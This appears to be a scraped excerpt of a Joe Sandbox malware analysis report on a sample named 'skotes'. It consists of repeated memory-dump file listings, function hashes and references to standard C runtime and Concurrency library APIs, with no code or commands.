Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 2dcd35a3009b910708ac3a78d140ab037bf6590029c088d93796a4e8b397b419
Instruction ID: 0649a607fe3d2be742ee71c439a8b6a46af6909a51aad865eeb2508e8abbc7dc
Opcode Fuzzy Hash: 2dcd35a3009b910708ac3a78d140ab037bf6590029c088d93796a4e8b397b419
Instruction Fuzzy Hash: 74312336705614DFDF059F60C881AEDB3AAAFC9710F1A4178E90A9B395DB30AC458790

Function 00912CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00912D0F

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 7121152683bd76d668df6dfa0980ecf9d9a45a9a59315121f004ce8866dbb6fc
Instruction ID: 603814b1b50088ed40902267857f17fea0144c3982b0deffd4c6ccd48c377b14
Opcode Fuzzy Hash: 7121152683bd76d668df6dfa0980ecf9d9a45a9a59315121f004ce8866dbb6fc
Instruction Fuzzy Hash: 88315B79A00309DFCF10EF94D4C0BEE7BB9AB44310F1404AAD9019B286D730A995DBA0

Function 009213F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 009213FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00921447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0092147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0092152A

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: cb5afc56b219d5f013846d6cf65f426ed0615be8b92fc7960be0a639ff7c7b8d
Instruction ID: 41cd75b92af62b925d8804ac60379921a94b61c1d614c622674a912e277e354d
Opcode Fuzzy Hash: cb5afc56b219d5f013846d6cf65f426ed0615be8b92fc7960be0a639ff7c7b8d
Instruction Fuzzy Hash: 6631A375E0061A9FCF04EFA8D4919EDF7B5BF98710B14822DE425A7391CB34A951CB90

Function 0090BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0090BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BBE4
_xtime_get.LIBCPMT ref: 0090BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BC13

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction ID: b3ba5bbf1bbc20979f1f29c961300d29b36982a226c578bfe629a851ccf3effd
Opcode Fuzzy Hash: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction Fuzzy Hash: F62151B5A0011AAFDF00EFA4CC95ABEB7B9EF49710F100115FA01B7291DB31AD019BA1

Function 00919C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00919C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00919CE8
std::bad_exception::bad_exception.LIBCMT ref: 00919CFE
std::bad_exception::bad_exception.LIBCMT ref: 00919D6A

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
